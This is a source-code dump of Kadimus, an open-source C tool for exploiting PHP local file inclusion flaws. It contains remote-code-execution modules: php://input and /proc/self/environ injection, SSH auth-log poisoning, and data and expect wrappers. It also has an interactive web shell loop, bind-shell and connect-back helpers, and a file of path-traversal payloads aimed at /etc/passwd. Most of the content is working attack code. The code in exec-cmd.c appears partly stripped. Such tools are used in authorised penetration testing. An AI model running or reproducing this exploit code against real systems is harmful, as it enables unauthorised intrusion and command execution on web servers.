├── .gitignore ├── src ├── output.c ├── globals.c ├── string │ ├── urlencode.h │ ├── diff.h │ ├── hexdump.h │ ├── concat.h │ ├── base64.h │ ├── utils.h │ ├── url.h │ ├── optparser.h │ ├── diff.c │ ├── urlencode.c │ ├── concat.c │ ├── hexdump.c │ ├── utils.c │ ├── optparser.c │ ├── base64.c │ └── url.c ├── net │ ├── listen.h │ ├── xconnect.h │ ├── utils.h │ ├── listen.c │ ├── xconnect.c │ └── utils.c ├── scan │ ├── rce-scan.h │ ├── scan.h │ ├── rce-scan.c │ └── scan.c ├── fun │ ├── http-shell.h │ ├── exec-cmd.h │ ├── exec-php-code.h │ ├── exec-cmd.c │ ├── http-shell.c │ └── exec-php-code.c ├── techniques │ ├── expect.h │ ├── environ.h │ ├── php-input.h │ ├── datawrap.h │ ├── php-filter.h │ ├── rce.h │ ├── auth-log-poison.h │ ├── php-input.c │ ├── environ.c │ ├── expect.c │ ├── datawrap.c │ ├── php-filter.c │ └── auth-log-poison.c ├── globals.h ├── memory │ ├── alloc.c │ └── alloc.h ├── regex │ ├── pcre.h │ └── pcre.c ├── io │ ├── utils.h │ └── utils.c ├── request │ ├── request.h │ └── request.c ├── kadimus.h ├── output.h └── kadimus.c ├── resource ├── errors.txt └── common_files.txt ├── bin └── .gitignore ├── Makefile ├── license.txt └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | kadimus 3 | -------------------------------------------------------------------------------- /src/output.c: -------------------------------------------------------------------------------- 1 | #include "output.h" 2 | 3 | FILE *output; 4 | int thread_enable; 5 | -------------------------------------------------------------------------------- /src/globals.c: -------------------------------------------------------------------------------- 1 | #include "globals.h" 2 | 3 | // alone in the dark... 4 | globals_t global; 5 | -------------------------------------------------------------------------------- /resource/errors.txt: -------------------------------------------------------------------------------- 1 | Warning: include 2 | Failed opening '.*' for inclusion 3 | function.include 4 | -------------------------------------------------------------------------------- /bin/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore everything in this directory 2 | * 3 | # Except this file 4 | !.gitignore 5 | 6 | -------------------------------------------------------------------------------- /src/string/urlencode.h: -------------------------------------------------------------------------------- 1 | #ifndef __URLENCODE_H__ 2 | #define __URLENCODE_H__ 3 | 4 | char *urlencode(const char *str); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /src/string/diff.h: -------------------------------------------------------------------------------- 1 | #ifndef __DIFF_H__ 2 | #define __DIFF_H__ 3 | 4 | char *diff(const char *string1, const char *string2); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /src/net/listen.h: -------------------------------------------------------------------------------- 1 | #ifndef __LISTEN_H__ 2 | #define __LISTEN_H__ 3 | 4 | #include 5 | 6 | int start_listen(uint16_t port); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /src/string/hexdump.h: -------------------------------------------------------------------------------- 1 | #ifndef _HEXDUMP_H_ 2 | #define _HEXDUMP_H_ 3 | 4 | #include 5 | 6 | void hexdump(void *data, size_t len, int squeez); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /src/scan/rce-scan.h: -------------------------------------------------------------------------------- 1 | #ifndef __RCE_SCAN_H__ 2 | #define __RCE_SCAN_H__ 3 | 4 | #include "string/url.h" 5 | 6 | void kadimus_rce_scan(url_t *url, int pos); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /src/fun/http-shell.h: -------------------------------------------------------------------------------- 1 | #ifndef __HTTP_SHELL_H__ 2 | #define __HTTP_SHELL_H__ 3 | 4 | void rce_http_shell(const char *url, const char *parameter, int technique); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /src/fun/exec-cmd.h: -------------------------------------------------------------------------------- 1 | #ifndef __EXEC_CMD_H__ 2 | #define __EXEC_CMD_H__ 3 | 4 | char *exec_cmd(const char *url, const char *parameter, const char *code, int technique); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /src/net/xconnect.h: -------------------------------------------------------------------------------- 1 | #ifndef __XCONNECT_H__ 2 | #define __XCONNECT_H__ 3 | 4 | #include 5 | 6 | int xconnect(char **ip, const char *target, uint16_t port); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /src/string/concat.h: -------------------------------------------------------------------------------- 1 | #ifndef __CONCAT_H__ 2 | #define __CONCAT_H__ 3 | 4 | #include 5 | 6 | char *concatl(const char *str, ...); 7 | char *concatlb(char *out, ...); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /src/fun/exec-php-code.h: -------------------------------------------------------------------------------- 1 | #ifndef __EXEC_PHP_CODE_H__ 2 | #define __EXEC_PHP_CODE_H__ 3 | 4 | void exec_code(const char *, const char *, const char *, int); 5 | char *exec_php_code(const char *, const char *, const char *, int); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /src/techniques/expect.h: -------------------------------------------------------------------------------- 1 | #ifndef __EXPECT_H__ 2 | #define __EXPECT_H__ 3 | 4 | #include "string/url.h" 5 | 6 | char *expect_rce(const char *target, const char *parameter, const char *cmd); 7 | char *expect_url(url_t *url, const char *cmd, int pos); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /src/techniques/environ.h: -------------------------------------------------------------------------------- 1 | #ifndef __ENVIRON_H__ 2 | #define __ENVIRON_H__ 3 | 4 | #include "string/url.h" 5 | 6 | char *proc_env_url(url_t *url, const char *envfile, const char *code, int pos); 7 | char *proc_env_rce(const char *target, const char *code); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /src/techniques/php-input.h: -------------------------------------------------------------------------------- 1 | #ifndef __PHP_INPUT_H__ 2 | #define __PHP_INPUT_H__ 3 | 4 | #include "string/url.h" 5 | 6 | char *php_input(url_t *url, const char *input, const char *code, int pos); 7 | char *php_input_rce(const char *target, const char *code); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /src/net/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef __NET_UTILS_H__ 2 | #define __NET_UTILS_H__ 3 | 4 | #include 5 | 6 | int checkhostname(const char *hostname); 7 | void bindshell(uint16_t port); 8 | void remote_connect(const char *proxy, const char *target, uint16_t port); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /src/techniques/datawrap.h: -------------------------------------------------------------------------------- 1 | #ifndef __DATAWRAP_H__ 2 | #define __DATAWRAP_H__ 3 | 4 | #include "string/url.h" 5 | 6 | char *datawrap_rce(url_t *url, const char *code, int pos); 7 | char *data_wrap_rce(const char *target, const char *parameter, const char *code); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /src/string/base64.h: -------------------------------------------------------------------------------- 1 | #ifndef __BASE64_H__ 2 | #define __BASE64_H__ 3 | 4 | #include 5 | 6 | int isb64valid(const char *encoded, size_t length); 7 | 8 | char *b64encode(const char *data, size_t len); 9 | char *b64decode(const char *encoded, size_t *len); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /src/globals.h: -------------------------------------------------------------------------------- 1 | #ifndef __GLOBALS_H__ 2 | #define __GLOBALS_H__ 3 | 4 | #include 5 | 6 | typedef struct { 7 | char *useragent; 8 | char *cookies; 9 | char *proxy; 10 | size_t timeout; 11 | size_t retry; 12 | } globals_t; 13 | 14 | extern globals_t global; 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /resource/common_files.txt: -------------------------------------------------------------------------------- 1 | #### 2 | # Files to check 3 | # sintaxe>>> 4 | # filename_colon_regex 5 | #### 6 | 7 | ../../../../../../../../../../../../etc/passwd%00:root:.*:0 8 | ../../../../../../../../../../../../etc/passwd:root:.*:0 9 | /etc/passwd:root:.*:0 10 | /etc/passwd%00:root:.*:0 11 | 12 | -------------------------------------------------------------------------------- /src/string/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef __STRING_UTILS_H__ 2 | #define __STRING_UTILS_H__ 3 | 4 | #include 5 | #include 6 | 7 | char *xstrdup(const char *string); 8 | char *xstrdupn(const char *str, size_t n); 9 | char *trim(char **str); 10 | char *randomstr(char *buf, int len); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /src/techniques/php-filter.h: -------------------------------------------------------------------------------- 1 | #ifndef __PHP_FILTER_H__ 2 | #define __PHP_FILTER_H__ 3 | 4 | #include "string/url.h" 5 | #include 6 | 7 | char *phpfilter(url_t *url, const char *oldurl, const char *filename, int pnumber); 8 | void phpfilter_dumpfile(FILE *, const char *, const char *, const char *); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /src/techniques/rce.h: -------------------------------------------------------------------------------- 1 | #ifndef __RCE_H__ 2 | #define __RCE_H__ 3 | 4 | #include "techniques/auth-log-poison.h" 5 | #include "techniques/datawrap.h" 6 | #include "techniques/php-input.h" 7 | #include "techniques/environ.h" 8 | #include "techniques/expect.h" 9 | 10 | enum { 11 | auth_log_tech = 1, 12 | php_input_tech, 13 | datawrap_tech, 14 | proc_environ_tech, 15 | expect_tech 16 | }; 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /src/scan/scan.h: -------------------------------------------------------------------------------- 1 | #ifndef __SCAN_H__ 2 | #define __SCAN_H__ 3 | 4 | #include "string/url.h" 5 | 6 | typedef struct { 7 | char *origurl; 8 | url_t *url; 9 | char *origpost; 10 | char **headers; 11 | int pos; 12 | int dynamic; 13 | int skip_nullbyte; 14 | int skip_error_check; 15 | int skip_file_scan; 16 | int skip_rce_scan; 17 | int dirback; 18 | } scan_t; 19 | 20 | void kadimus_scan(const char *target); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /src/memory/alloc.c: -------------------------------------------------------------------------------- 1 | #include "memory/alloc.h" 2 | #include 3 | 4 | void *_xmalloc(size_t len) 5 | { 6 | if (len == 0) 7 | return NULL; 8 | 9 | return malloc(len); 10 | } 11 | 12 | void *_xrealloc(void *ptr, size_t len) 13 | { 14 | if (ptr == NULL && len == 0) 15 | return NULL; 16 | 17 | return realloc(ptr, len); 18 | } 19 | 20 | void _xfree(void **ptr) 21 | { 22 | if (ptr != NULL) { 23 | free(*ptr); 24 | *ptr = NULL; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/regex/pcre.h: -------------------------------------------------------------------------------- 1 | #ifndef __REGEX_PCRE_H__ 2 | #define __REGEX_PCRE_H__ 3 | 4 | #include 5 | 6 | pcre *xpcre_compile(const char *pattern, int options); 7 | char **regex_extract(int *len, const char *regex, const char *data, int size, int opts); 8 | int regex_match(const char *regex, const char *data, int len, int opts); 9 | int regex_matchv2(pcre *re, const char *data, int length, int opts); 10 | void regex_free(char **match, int len); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /src/techniques/auth-log-poison.h: -------------------------------------------------------------------------------- 1 | #ifndef __AUTH_LOG_POISON_H__ 2 | #define __AUTH_LOG_POISON_H__ 3 | 4 | #include "string/url.h" 5 | 6 | int auth_log_poison(const char *target, int port); 7 | char *auth_log_rce(const char *target, const char *code); 8 | int check_auth_poison(const char *target); 9 | char *auth_log(url_t *url, const char *auth_file, const char *code, int pos); 10 | void prepare_auth_log_rce(const char *url, const char *ssh_target, int ssh_port); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /src/io/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef __IO_UTILS_H__ 2 | #define __IO_UTILS_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #define foreach(line, fh) while (((line).nread = \ 9 | getline(&(line).buf, &(line).len, fh)) != -1) 10 | 11 | typedef struct { 12 | ssize_t nread; 13 | size_t len; 14 | char *buf; 15 | } line_t; 16 | 17 | FILE *xfopen(const char *file, const char *mode); 18 | FILE *randomfile(char *filename, int retry); 19 | off_t getfdsize(int fd); 20 | int openro(const char *name); 21 | void ioredirect(struct pollfd pfd[2]); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /src/string/url.h: -------------------------------------------------------------------------------- 1 | #ifndef __URL_H__ 2 | #define __URL_H__ 3 | 4 | #include 5 | 6 | enum { 7 | string_replace, 8 | string_prepend, 9 | string_append 10 | }; 11 | 12 | typedef struct { 13 | char *key; 14 | size_t keysize; 15 | char *value; 16 | size_t valuesize; 17 | } parameter_t; 18 | 19 | typedef struct { 20 | char *base; 21 | int plen; 22 | parameter_t *parameters; 23 | } url_t; 24 | 25 | void urlparser(url_t *url, const char *string); 26 | void urlfree(url_t *url); 27 | 28 | char *buildurl(url_t *url, int action, const char *newstr, int pos); 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /src/request/request.h: -------------------------------------------------------------------------------- 1 | #ifndef __REQUEST_H__ 2 | #define __REQUEST_H__ 3 | 4 | #include 5 | 6 | #define request_resetbody(x) do { \ 7 | free((x).body.ptr); \ 8 | (x).body.ptr = NULL; \ 9 | (x).body.len = 0; \ 10 | } while (0) 11 | 12 | typedef struct { 13 | char *ptr; 14 | size_t len; 15 | } body_t; 16 | 17 | typedef struct { 18 | int status; 19 | char *filename; 20 | CURL *ch; 21 | body_t body; 22 | int finish; 23 | } request_t; 24 | 25 | void request_init(request_t *request); 26 | void request_init_fh(request_t *request); 27 | int request_exec(request_t *request); 28 | void request_free(request_t *request); 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /src/string/optparser.h: -------------------------------------------------------------------------------- 1 | #ifndef __OPTPARSER_H__ 2 | #define __OPTPARSER_H__ 3 | 4 | typedef struct { 5 | char *name; 6 | void *var; 7 | void (*optcb)(void *, const char *); 8 | int argtype; 9 | int shortopt; 10 | } optparser_t; 11 | 12 | enum { 13 | optnoarg, 14 | optint, 15 | optstring, 16 | optlong, 17 | optbool, 18 | optcustom 19 | }; 20 | 21 | /* 22 | #define optparser(argc, argv, ...) {\ 23 | optparser_t mopts[] = { \ 24 | __VA_ARGS__ \ 25 | }; \ 26 | _optparser(argc, argv, mopts, sizeof(mopts) / sizeof(optparser_t)); \ 27 | } while (0) 28 | */ 29 | 30 | void optparser(int argc, char **argv, optparser_t *opts, int len); 31 | 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | override CFLAGS+=-Wall -Wextra -O2 -Isrc 2 | override LDFLAGS+=-lcurl -lpcre -lpthread -lssh -ldl -lcrypto 3 | 4 | SOURCES := $(wildcard src/*/*.c) $(wildcard src/*.c) 5 | OBJS := $(addprefix bin/,$(SOURCES:src/%.c=%.o)) 6 | 7 | SUBFOLDERS := $(wildcard src/*/.) 8 | FOLDERS := $(addprefix bin/,$(SUBFOLDERS:src/%/.=%)) 9 | 10 | all: $(FOLDERS) kadimus 11 | 12 | kadimus: $(OBJS) 13 | @echo " CC $@" 14 | @$(CC) -o $@ $^ $(CFLAGS) $(LDFLAGS) 15 | 16 | $(FOLDERS): 17 | @echo " MKDIR $@" 18 | @mkdir $@ 19 | 20 | bin/%.o: src/%.c src/%.h 21 | @echo " CC $@" 22 | @$(CC) $(CFLAGS) -c -o $@ $< 23 | 24 | .PHONY: clean 25 | clean: 26 | rm -f bin/*/*.o bin/*.o kadimus 27 | -------------------------------------------------------------------------------- /src/memory/alloc.h: -------------------------------------------------------------------------------- 1 | #ifndef __ALLOC_H__ 2 | #define __ALLOC_H__ 3 | 4 | #include "output.h" 5 | 6 | #define xmalloc(ptr, len) do { \ 7 | if ((ptr = _xmalloc(len)) == NULL) { \ 8 | xdie("xmalloc(%u) failed, errno = %d\n", (unsigned int)(len), errno); \ 9 | } \ 10 | } while (0) 11 | 12 | #define xrealloc(ptr, old, len) do { \ 13 | ptr = _xrealloc(old, len); \ 14 | if (ptr == NULL) { \ 15 | xdie("xrealloc(%p, %u) failed, errno = %d\n", old, (unsigned int)(len), errno); \ 16 | } \ 17 | } while (0) 18 | 19 | #define xfree(x) _xfree((void **)&x) 20 | 21 | void *_xmalloc(size_t len); 22 | void *_xrealloc(void *ptr, size_t len); 23 | void _xfree(void **ptr); 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /src/fun/exec-cmd.c: -------------------------------------------------------------------------------- 1 | #include "fun/exec-cmd.h" 2 | #include "fun/exec-php-code.h" 3 | #include "techniques/rce.h" 4 | #include "memory/alloc.h" 5 | #include "string/base64.h" 6 | 7 | #include 8 | #include 9 | 10 | char *exec_cmd(const char *url, const char *parameter, const char *code, int technique) 11 | { 12 | if (technique == expect_tech) 13 | return expect_rce(url, parameter, code); 14 | 15 | char *finalcode; 16 | char *b64cmd = b64encode(code, strlen(code)); 17 | 18 | xmalloc(finalcode, strlen(b64cmd) + 36); 19 | sprintf(finalcode, "", b64cmd); 20 | 21 | char *rce = exec_php_code(url, parameter, finalcode, technique); 22 | 23 | free(b64cmd); 24 | free(finalcode); 25 | 26 | return rce; 27 | } 28 | -------------------------------------------------------------------------------- /src/net/listen.c: -------------------------------------------------------------------------------- 1 | #include "net/listen.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int start_listen(uint16_t port) 9 | { 10 | static struct sockaddr_in server_addr = { 11 | .sin_family = AF_INET, 12 | .sin_addr.s_addr = INADDR_ANY 13 | }; 14 | 15 | int sockfd, enable = 1; 16 | 17 | sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 18 | if (sockfd == -1) { 19 | return -1; 20 | } 21 | 22 | server_addr.sin_port = htons(port); 23 | 24 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int)) < 0) { 25 | close(sockfd); 26 | return -1; 27 | } 28 | 29 | if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { 30 | close(sockfd); 31 | return -1; 32 | } 33 | 34 | listen(sockfd, SOMAXCONN); 35 | 36 | return sockfd; 37 | } 38 | -------------------------------------------------------------------------------- /src/fun/http-shell.c: -------------------------------------------------------------------------------- 1 | #include "fun/http-shell.h" 2 | #include "fun/exec-cmd.h" 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | void rce_http_shell(const char *url, const char *parameter, int technique) 9 | { 10 | char *ptr = NULL; 11 | size_t size = 0; 12 | ssize_t n; 13 | 14 | setvbuf(stdout, NULL, _IONBF, 0); 15 | 16 | while (1) { 17 | printf("(kadimus~shell)> "); 18 | if ((n = getline(&ptr, &size, stdin)) == -1) { 19 | break; 20 | } 21 | 22 | if (n == 1 && ptr[0] == '\n') { 23 | continue; 24 | } 25 | 26 | if (ptr[n - 1] == '\n') { 27 | ptr[--n] = 0x0; 28 | } 29 | 30 | if (!strcmp(ptr, "exit")) { 31 | break; 32 | } 33 | 34 | char *rce = exec_cmd(url, parameter, ptr, technique); 35 | if (rce) { 36 | printf("%s", rce); 37 | free(rce); 38 | } 39 | } 40 | 41 | free(ptr); 42 | } 43 | -------------------------------------------------------------------------------- /src/string/diff.c: -------------------------------------------------------------------------------- 1 | #include "string/diff.h" 2 | #include "string/utils.h" 3 | #include "memory/alloc.h" 4 | 5 | #include 6 | 7 | char *diff(const char *string1, const char *string2) 8 | { 9 | int i, j, len1, len2, size, aux; 10 | char *ret; 11 | 12 | len1 = strlen(string1); 13 | len2 = strlen(string2); 14 | 15 | if (!len1 && !len2) { 16 | return NULL; 17 | } 18 | 19 | if (!len1) { 20 | return xstrdup(string2); 21 | } 22 | 23 | for (i = 0; i < len1 && i < len2; i++) { 24 | if (string1[i] != string2[i]) { 25 | break; 26 | } 27 | } 28 | 29 | aux = i; 30 | 31 | for (i = len1 - 1, j = len2 - 1; i >= 0 && j >= 0; i--, j--) { 32 | if (string1[i] != string2[j]) { 33 | break; 34 | } 35 | } 36 | 37 | j++; 38 | 39 | if (j <= aux) { 40 | return NULL; 41 | } 42 | 43 | size = j - aux; 44 | xmalloc(ret, size + 1); 45 | memcpy(ret, string2 + aux, size); 46 | ret[size] = 0x0; 47 | 48 | return ret; 49 | } 50 | -------------------------------------------------------------------------------- /src/string/urlencode.c: -------------------------------------------------------------------------------- 1 | #include "urlencode.h" 2 | #include 3 | 4 | static inline int isurlsafe(const char ch) 5 | { 6 | return ((ch >= 'a' && ch <= 'z') || 7 | (ch >= 'A' && ch <= 'Z') || 8 | (ch >= '0' && ch <= '9')); 9 | } 10 | 11 | char *urlencode(const char *str) 12 | { 13 | static const char hextable[]="0123456789abcdef"; 14 | 15 | char *encoded_url, ch; 16 | int i, len = 0; 17 | 18 | for (i=0; (ch = str[i]); i++) { 19 | if (isurlsafe(ch)) { 20 | len++; 21 | } else { 22 | len += 3; 23 | } 24 | } 25 | 26 | if ((encoded_url = malloc(len + 1)) == NULL) { 27 | return NULL; 28 | } 29 | 30 | i = 0; 31 | while ((ch = *str++)) { 32 | if (isurlsafe(ch)) { 33 | encoded_url[i++] = ch; 34 | } else { 35 | encoded_url[i++] = '%'; 36 | encoded_url[i++] = hextable[((ch/16)%16)]; 37 | encoded_url[i++] = hextable[ch%16]; 38 | } 39 | } 40 | 41 | encoded_url[i] = 0x0; 42 | 43 | return encoded_url; 44 | } 45 | -------------------------------------------------------------------------------- /src/fun/exec-php-code.c: -------------------------------------------------------------------------------- 1 | #include "fun/exec-php-code.h" 2 | #include "techniques/rce.h" 3 | #include "output.h" 4 | 5 | void exec_code(const char *url, const char *parameter, const char *code, int technique) 6 | { 7 | xinfo("trying exec code...\n"); 8 | char *rce = exec_php_code(url, parameter, code, technique); 9 | 10 | xinfo("result:\n"); 11 | if (rce) { 12 | printf("%s\n", rce); 13 | free(rce); 14 | } else { 15 | xerror("nothing to show!\n"); 16 | } 17 | } 18 | 19 | char *exec_php_code(const char *url, const char *parameter, const char *code, int technique) 20 | { 21 | char *rce = NULL; 22 | 23 | switch (technique) { 24 | case auth_log_tech: 25 | rce = auth_log_rce(url, code); 26 | break; 27 | case php_input_tech: 28 | rce = php_input_rce(url, code); 29 | break; 30 | case proc_environ_tech: 31 | rce = proc_env_rce(url, code); 32 | break; 33 | case datawrap_tech: 34 | rce = data_wrap_rce(url, parameter, code); 35 | break; 36 | } 37 | 38 | return rce; 39 | } 40 | -------------------------------------------------------------------------------- /src/string/concat.c: -------------------------------------------------------------------------------- 1 | #include "string/concat.h" 2 | #include "memory/alloc.h" 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | char *concatl(const char *str, ...) 9 | { 10 | char *string = NULL; 11 | size_t size, len; 12 | va_list vl; 13 | 14 | va_start(vl, str); 15 | size = 0; 16 | 17 | do { 18 | len = strlen(str); 19 | xrealloc(string, string, (len + size + 1)); 20 | memcpy(string + size, str, len); 21 | size += len; 22 | } while ((str = va_arg(vl, char *))); 23 | 24 | string[size] = 0x0; 25 | va_end(vl); 26 | 27 | return string; 28 | } 29 | 30 | // this function can cause a buffer-overflow 31 | // use with caution 32 | char *concatlb(char *buf, ...) 33 | { 34 | char *str; 35 | size_t size, len; 36 | va_list vl; 37 | 38 | va_start(vl, buf); 39 | size = 0; 40 | 41 | while ((str = va_arg(vl, char *))) { 42 | len = strlen(str); 43 | memcpy(buf + size, str, len); 44 | size += len; 45 | } 46 | 47 | buf[size] = 0x0; 48 | va_end(vl); 49 | 50 | return buf; 51 | } 52 | -------------------------------------------------------------------------------- /src/kadimus.h: -------------------------------------------------------------------------------- 1 | #ifndef KADIMUS_H 2 | #define KADIMUS_H 3 | 4 | #define VERSION "1.5" 5 | #define IN_RANGE(a,b,c) ((a >= b && a <= c) ? 1 : 0) 6 | #define OPTS "hB:A:u:o:t:T:C:c:sp:lSf:O:" 7 | 8 | struct kadimus_opts { 9 | /* request options */ 10 | char *cookies; 11 | char *useragent; 12 | long connection_timeout; 13 | int retry; 14 | char *proxy; 15 | 16 | /* scan options */ 17 | char *url; 18 | FILE *output; 19 | size_t threads; 20 | char *parameter; 21 | 22 | int technique; 23 | char *phpcode; 24 | char *cmd; 25 | /* new char *cmdfunction on future ? */ 26 | int shell; 27 | /* new ttyshell on future ? */ 28 | 29 | char *connect; 30 | /* char *connect_proxy; */ 31 | unsigned short port; 32 | int listen; 33 | 34 | unsigned short ssh_port; 35 | char *ssh_target; 36 | 37 | int get_source; 38 | FILE *source_output; 39 | char *remote_filename; 40 | 41 | int scan; 42 | }; 43 | 44 | 45 | void parser_opts(int argc, char **argv, struct kadimus_opts *opts); 46 | void banner(void); 47 | void help(void *, const char *); 48 | int main(int argc, char **argv); 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /license.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 P0cL4bs Team 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/string/hexdump.c: -------------------------------------------------------------------------------- 1 | #include "hexdump.h" 2 | 3 | #include 4 | #include 5 | 6 | static const unsigned char hextable[]="0123456789abcdef"; 7 | 8 | void hexdump(void *data, size_t len, int squeez) 9 | { 10 | char hex[69], *prev = NULL; 11 | unsigned ch; 12 | 13 | size_t i = 0, total, hexoffset, choffset; 14 | int asterisk = 0; 15 | 16 | while (i < len) { 17 | hexoffset = 11; 18 | choffset = 52; 19 | 20 | sprintf(hex, "%08x:", (unsigned int)i); 21 | memset(hex + 9, ' ', 43); 22 | 23 | total = i + 16; 24 | if (total > len) { 25 | total = len; 26 | } else if (squeez && prev) { 27 | if (memcmp(prev, (char *)data + i, 16) == 0x0) { 28 | prev = (char *)data + i; 29 | i += 16; 30 | 31 | if (!asterisk) { 32 | puts("*"); 33 | asterisk = 1; 34 | } 35 | 36 | continue; 37 | } else { 38 | asterisk = 0; 39 | } 40 | } 41 | 42 | prev = (char *)data + i; 43 | 44 | while (i < total) { 45 | ch = ((unsigned char *)data)[i]; 46 | hex[choffset++] = (ch > ' ' && ch <= '~') ? ch : '.'; 47 | 48 | hex[hexoffset++] = hextable[ch / 16]; 49 | hex[hexoffset++] = hextable[ch % 16]; 50 | 51 | if (i % 2) hexoffset++; 52 | 53 | i++; 54 | } 55 | 56 | hex[choffset] = 0x0; 57 | 58 | puts(hex); 59 | } 60 | 61 | printf("%08x\n", (unsigned int)i); 62 | } 63 | -------------------------------------------------------------------------------- /src/techniques/php-input.c: -------------------------------------------------------------------------------- 1 | #include "techniques/php-input.h" 2 | #include "request/request.h" 3 | #include "regex/pcre.h" 4 | #include "string/concat.h" 5 | #include "string/url.h" 6 | #include "string/utils.h" 7 | #include "output.h" 8 | 9 | char *php_input(url_t *url, const char *input, const char *code, int pos) 10 | { 11 | char *target = buildurl(url, string_replace, input, pos); 12 | char *res = php_input_rce(target, code); 13 | 14 | free(target); 15 | return res; 16 | } 17 | 18 | char *php_input_rce(const char *target, const char *code) 19 | { 20 | char *res = NULL, mark[8], regex[7 * 2 + 5], *inject, **matches; 21 | 22 | request_t req; 23 | int len = -1; 24 | 25 | randomstr(mark, sizeof(mark)); 26 | concatlb(regex, mark, "(.*)", mark, NULL); 27 | 28 | inject = concatl(mark, code, mark, NULL); 29 | request_init(&req); 30 | 31 | curl_easy_setopt(req.ch, CURLOPT_URL, target); 32 | curl_easy_setopt(req.ch, CURLOPT_POSTFIELDS, inject); 33 | curl_easy_setopt(req.ch, CURLOPT_POSTFIELDSIZE, strlen(inject)); 34 | 35 | if (request_exec(&req)) { 36 | goto end; 37 | } 38 | 39 | matches = regex_extract(&len, regex, req.body.ptr, req.body.len, PCRE_DOTALL); 40 | if (len > 0) { 41 | res = xstrdup(matches[0]); 42 | regex_free(matches, len); 43 | } 44 | 45 | end: 46 | free(inject); 47 | request_free(&req); 48 | return res; 49 | } 50 | -------------------------------------------------------------------------------- /src/techniques/environ.c: -------------------------------------------------------------------------------- 1 | #include "techniques/environ.h" 2 | #include "request/request.h" 3 | #include "regex/pcre.h" 4 | #include "string/concat.h" 5 | #include "string/url.h" 6 | #include "string/utils.h" 7 | #include "globals.h" 8 | #include "output.h" 9 | 10 | char *proc_env_url(url_t *url, const char *envfile, const char *code, int pos) 11 | { 12 | char *target = buildurl(url, string_replace, envfile, pos); 13 | char *res = proc_env_rce(target, code); 14 | 15 | free(target); 16 | return res; 17 | } 18 | 19 | char *proc_env_rce(const char *target, const char *code) 20 | { 21 | char **matches, mark[8], regex[7 * 2 + 5], *payload, *res = NULL; 22 | 23 | request_t req; 24 | int len = -1; 25 | 26 | randomstr(mark, sizeof(mark)); 27 | concatlb(regex, mark, "(.*)", mark, NULL); 28 | 29 | char *inject = concatl(mark, code, mark, NULL); 30 | 31 | if (global.cookies) { 32 | payload = concatl(inject, "; ", global.cookies, NULL); 33 | free(inject); 34 | } else { 35 | payload = inject; 36 | } 37 | 38 | 39 | request_init(&req); 40 | 41 | curl_easy_setopt(req.ch, CURLOPT_URL, target); 42 | curl_easy_setopt(req.ch, CURLOPT_COOKIE, payload); 43 | 44 | free(payload); 45 | 46 | if (request_exec(&req)) { 47 | goto end; 48 | } 49 | 50 | matches = regex_extract(&len, regex, req.body.ptr, req.body.len, PCRE_DOTALL); 51 | if (len > 0) { 52 | res = xstrdup(matches[0]); 53 | regex_free(matches, len); 54 | } 55 | 56 | end: 57 | request_free(&req); 58 | return res; 59 | } 60 